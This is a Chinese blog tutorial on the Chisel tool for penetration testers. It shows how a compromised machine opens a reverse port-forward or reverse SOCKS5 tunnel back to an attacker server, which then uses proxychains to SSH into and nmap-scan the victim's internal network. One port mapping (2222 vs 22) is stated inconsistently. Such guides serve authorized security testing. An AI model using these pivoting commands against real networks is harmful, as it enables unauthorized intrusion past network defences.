当前位置: 首页 > article >正文

使用Chisel建立端口转发与SOCKS5代理隧道

Chisel 是一款高效且功能强大的隧道工具,在渗透测试、内网穿透及网络安全领域应用广泛。

优点:

  • 安全性:采用 SSH 加密,确保通信数据的安全性。
  • 稳定性:具备断开重连机制,可在连接中断后自动恢复,相较于类似工具(如 ew)更具稳定性。
  • 跨平台支持:基于 Go 语言开发,兼容多个操作系统。
  • 轻量便携:单一可执行文件,无需额外依赖,便于快速部署和使用。

本文将详细介绍如何使用 Chisel 进行 端口转发(暴露指定端口给外部访问)和 SOCKS5 代理(通过代理访问内网)两种常用操作。


Chisel 基础概念

Chisel 是一个基于 WebSocket 的端口转发工具,能够在 NAT 或防火墙环境下建立一个反向隧道,将内网服务暴露到外网或其他网络中。Chisel 主要有以下两种工作模式:

  1. 特定端口转发:用于将内网的某个特定端口(如 SSH、HTTP、MySQL)暴露给外部,以便访问单一服务。
  2. SOCKS5 代理:通过 SOCKS5 代理,可以访问整个内网,包括多个服务和主机。

这些功能常见于渗透测试、红队行动、内网穿透等场景,特别适用于突破复杂的网络安全防护。


下载并安装 Chisel

在进行渗透测试之前,首先需要确保攻击机和目标机上都安装了 Chisel。幸运的是,Chisel 提供了编译好的二进制文件,用户无需自己进行编译,只需下载对应操作系统的版本即可。

具体步骤如下:

  1. 访问 Chisel GitHub 页面,下载适合操作系统的版本,并确保攻击机和靶机使用相同的版本。

  2. 对于 Kali 系统,可使用 wget 直接下载编译好的二进制文件:

wget https://github.com/jpillora/chisel/releases/download/v1.7.2/chisel_1.7.2_linux_amd64.gz
gunzip chisel_1.7.2_linux_amd64.gz
chmod +x chisel_1.7.2_linux_amd64
mv chisel_1.7.2_linux_amd64 /usr/local/bin/chisel

我选择使用 Chisel 1.7.2 版本,因为它是兼容旧版 Windows 系统的最后一个稳定版本。你也可以选择下载 1.9.1 或更新版本。

下载安装完成后,接下来将详细介绍如何使用 Chisel 进行端口转发和 SOCKS5 代理配置。


用途一:特定端口转发

特定端口转发 是 Chisel 最基本的应用方式,适用于将目标机器的某个特定端口(如 SSH、HTTP、MySQL)暴露给攻击机或外部设备。此方法适合只需要访问单一服务的场景。

步骤 1:启动 Chisel 服务器(攻击机)

在攻击机(例如 Kali)上启动 Chisel 服务器,并监听指定端口,等待来自客户端的连接:

chisel server -p 2022 --reverse

-p 2022:服务器监听的端口为 2022,客户端将连接到该端口。
--reverse:启用反向端口转发功能,允许客户端将内网端口暴露到外网。

步骤 2:启动 Chisel 客户端(目标机)

在目标机(即已被渗透的机器)上启动 Chisel 客户端,将内部端口(如 2222 端口)暴露给攻击机:

./chisel client 192.168.56.100:2022 R:2222:127.0.0.1:2222

192.168.56.100:2022:Chisel 服务器的 IP 和端口。
R:2222:127.0.0.1:22:将目标机的 127.0.0.1:2222暴露到攻击机的 2222 端口。

步骤 3:通过攻击机访问目标服务

现在,可以通过攻击机访问目标机的 SSH 服务:

ssh root@localhost -p 2222

通过 localhost:2222 访问的实质是目标机上的 127.0.0.1:2222


用途二:反向 SOCKS 代理

在渗透测试中,攻击机的目标是访问受害者所在的内网,因此需要在攻击机上启动 Chisel 服务器,并让目标机主动建立反向连接,将内网资源暴露出来,同时在攻击机上创建 SOCKS5 代理

通过这种方式,攻击机可以像访问外网一样,访问目标机的内网资源。以下是具体操作步骤:

步骤 1:在攻击机上启动 Chisel 服务器

攻击机(外网服务器)启动 Chisel 并监听端口 2022,等待目标机连接:

chisel server -p 2022 --reverse

步骤 2:在目标机上启动 Chisel 客户端并创建 SOCKS5 代理

在目标机(内网机器)上执行以下命令,让其主动连接攻击机,并提供 SOCKS5 代理服务:

./chisel client 192.168.56.100:2022 R:socks

R:socks:目标机会将其所在的整个内网通过 SOCKS5 代理暴露给攻击机,攻击机的 127.0.0.1:1080 端口即为代理入口。

步骤 3:配置 Proxychains 以使用 SOCKS5 代理

在攻击机上编辑 /etc/proxychains.conf,确保添加或修改以下内容:

socks5 127.0.0.1 1080

这里的 127.0.0.1:1080 是 Chisel 默认的 SOCKS5 代理端口,不是服务器监听的 2022 端口。

步骤 4:通过 Proxychains 访问目标内网

  • 连接目标内网主机的 SSH
    proxychains ssh root@10.10.10.20
    
  • 访问目标 Web 服务
    proxychains firefox http://10.10.10.20
    
  • 扫描目标内网存活主机及常见端口
    proxychains nmap -sT -Pn -p22,80,3389 10.10.10.0/24
    

总结

方案步骤命令
特定端口转发启动 Chisel 服务器 → 启动客户端转发特定端口 → 通过本地端口直接访问目标服务chisel server -p 2022 --reverse
./chisel client 192.168.56.100:2022 R:2222:127.0.0.1:22
SOCKS5 代理启动 Chisel 服务器 → 启动客户端暴露 SOCKS5 代理 → 配置 Proxychains → 使用 Proxychains 访问内网资源chisel server -p 2022 --reverse
./chisel client 192.168.56.100:2022 R:socks
socks5 127.0.0.1 1080 (Proxychains 配置)

通过以上两种方式,Chisel 能够帮助渗透测试人员有效地突破网络隔离,通过隧道代理访问内网服务。


http://www.kler.cn/a/540150.html

相关文章:

  • Vue3 Ref全家桶详解:从入门到实战
  • DeepSeek-R1 32B Windows+docker本地部署
  • TCP服务器与客户端搭建
  • ASP.NET Core WebSocket、SignalR
  • 【自学笔记】文言一心的基础知识点总览-持续更新
  • C#中深度解析BinaryFormatter序列化生成的二进制文件
  • [含文档+PPT+源码等]精品大数据项目-Django基于大数据实现的心血管疾病分析系统
  • 使用OpenGL自己定义一个button,响应鼠标消息:掠过、点击、拖动
  • 深度学习-利用预训练的 ResNet 和 DenseNet 模型进行医学影像诊断
  • HiveQL命令(二)- 数据表操作
  • 自动驾驶数据集三剑客:nuScenes、nuImages 与 nuPlan 的技术矩阵与生态协同
  • [LVGL] 在VC_MFC中移植LVGL
  • linux基础命令1
  • 【紫光同创PG2L100H开发板】盘古676系列,盘古100Pro+开发板,MES2L676-100HP
  • Layui树节点添加level属性
  • 【Linux】31.Linux 多线程(5)
  • Python+Flask搭建属于自己的B站,管理自己电脑里面的视频文件。支持对文件分类、重命名、删除等操作。
  • 日志统计(acWing,蓝桥杯)
  • PLSQL: 存储过程,用户自定义函数[oracle]
  • python-leetcode-组合总和
  • win10 llamafactory模型微调相关① || Ollama运行微调模型
  • 【论文阅读】Comment on the Security of “VOSA“
  • 并查集知识整理、蓝桥杯修改数组
  • 【vue】高德地图AMap.Polyline动态更新画折线,逐步绘制
  • 深度学习-神经机器翻译模型
  • 【1.05版】wordpressAI插件批量生成文章、图片、长尾关键词、文章采集、AI对话等